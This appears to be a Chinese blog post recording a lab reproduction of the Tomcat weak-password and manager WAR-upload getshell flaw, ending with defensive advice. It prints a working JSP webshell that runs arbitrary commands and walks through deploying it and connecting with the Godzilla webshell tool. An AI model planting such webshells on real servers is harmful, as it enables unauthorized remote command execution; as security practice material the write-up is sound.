Tomcat 弱口令 && 后台getshell漏洞

漏洞编号

VUL-2021040008

爆发时间

2018-10-10

漏洞简介

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

影响版本

Tomcat8.x,Tomcat7.x

漏洞详情

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

manager(后台管理)

1、manager-gui 拥有html页面权限

2、manager-status 拥有查看status的权限

3、manager-script 拥有text接口的权限,和status权限

4、manager-jmx 拥有jmx权限,和status权限

host-manager(虚拟主机管理)

1、admin-gui 拥有html页面权限

2、admin-script 拥有text接口权限

在conf/tomcat-users.xml文件中配置用户的权限:

快气死了,觉的自己有tomcat还恰巧是这个版本,想试着复现复现

结果就遇到tomcat打不开的问题

首先,我现在还开着Burp,而且Burp的JDK环境和tomcat是一个,我想可能是抢占了环境资源

就退出了Burp

然后再用管理员模式,启动startup.bat,多试了几次,最后终于不闪退了

接着,我就在必应网页里登录tomcat,结果

Tomcat 弱口令 && 后台getshell漏洞_第1张图片

 显示连接不安全

想使用http来连接,结果就是不同意,按照网上的方法试一试,结果都不符合,包括说是不是开了代理,我才发现自己的代理是一直开着的。

这条思路走不通,那就换个思路来,换个浏览器,换成谷歌。

果然谷歌是yyds!!!

Tomcat 弱口令 && 后台getshell漏洞_第2张图片

 现在去Manager App,看看能不能上传文件

结果是需要账号和密码的

测试测试,使用账号和密码都是tomcat,结果进不去

点击取消,结果页面反馈的是401

仔细一看内容,竟是没有开权限

按照页面开权限的方法修改了相应的文件

再次进入Manager App,还是不行就上网搜了搜,说是需要修改host-manangerMETA-INF中的context.xml文件:

 
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />

给它加上注释

但我点进去我的一看本来都有注释

想想步骤没有差错,会不会是因为我没有重启成功

在没修改之前的startup,一直没有关,索性就先关了

再次重启,这次成功了

输入账号密码后就进入了我想要的界面

Tomcat 弱口令 && 后台getshell漏洞_第3张图片

 来到上传文件哪里

现在要准备上传文件了


<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>




    
        
        一句话木马
    

    
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("
");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("
"); } %> //ps:马的出处:https://blog.csdn.net/Jerry____/article/details/103387763

将上面的jsp木马写在文档里,然后重命名为test.jsp,用压缩工具压缩后,再将zip的后缀改为war

Tomcat 弱口令 && 后台getshell漏洞_第4张图片

Tomcat 弱口令 && 后台getshell漏洞_第5张图片

Tomcat 弱口令 && 后台getshell漏洞_第6张图片

你可以通过cmd去查看任何你想看到的信息。

但是这只能证明这里是有漏洞的,但要如何利用这个漏洞呢?

看网上都在说什么哥斯拉,查了查,看上去挺好用的,但就是要 Java1.8的JDK环境,这不得和Tomcat的JDK冲突,为了以防外一,我下载到了虚拟机上,等了好久,总做环境配置好了,

双击哥斯拉的jar,就直接打开了

进去在管理哪里选择生成,

Tomcat 弱口令 && 后台getshell漏洞_第7张图片

 再点击生成,会自动生成一个jsp的文件,将jsp的文件放在你想要使用的地方

按照上面放入tomcat的方式放进去,并能够到达该页面

Tomcat 弱口令 && 后台getshell漏洞_第8张图片

 就可以回到哥斯拉,去连接了

在目标里选择添加,将URL填写正确

就可以测试连接了

连接成功后就拿到了shell,可以查看想看的任何信息~~

Tomcat 弱口令 && 后台getshell漏洞_第9张图片

Tomcat 弱口令 && 后台getshell漏洞_第10张图片

Tomcat 弱口令 && 后台getshell漏洞_第11张图片

【防御方式】

1、强制用户首次登录时修改默认口令,或是使用用户自定义初始密码的策略;

2、完善密码策略,信息安全最佳实践的密码策略为8位(包括)以上字符,包含数字、大小写字母、特殊字符中的至少3种。

3、增加验证机制,限制访问次数。

4、关闭Tomcat登录管理功能

你可能感兴趣的:(安全,靶场,笔记,安全,网络安全)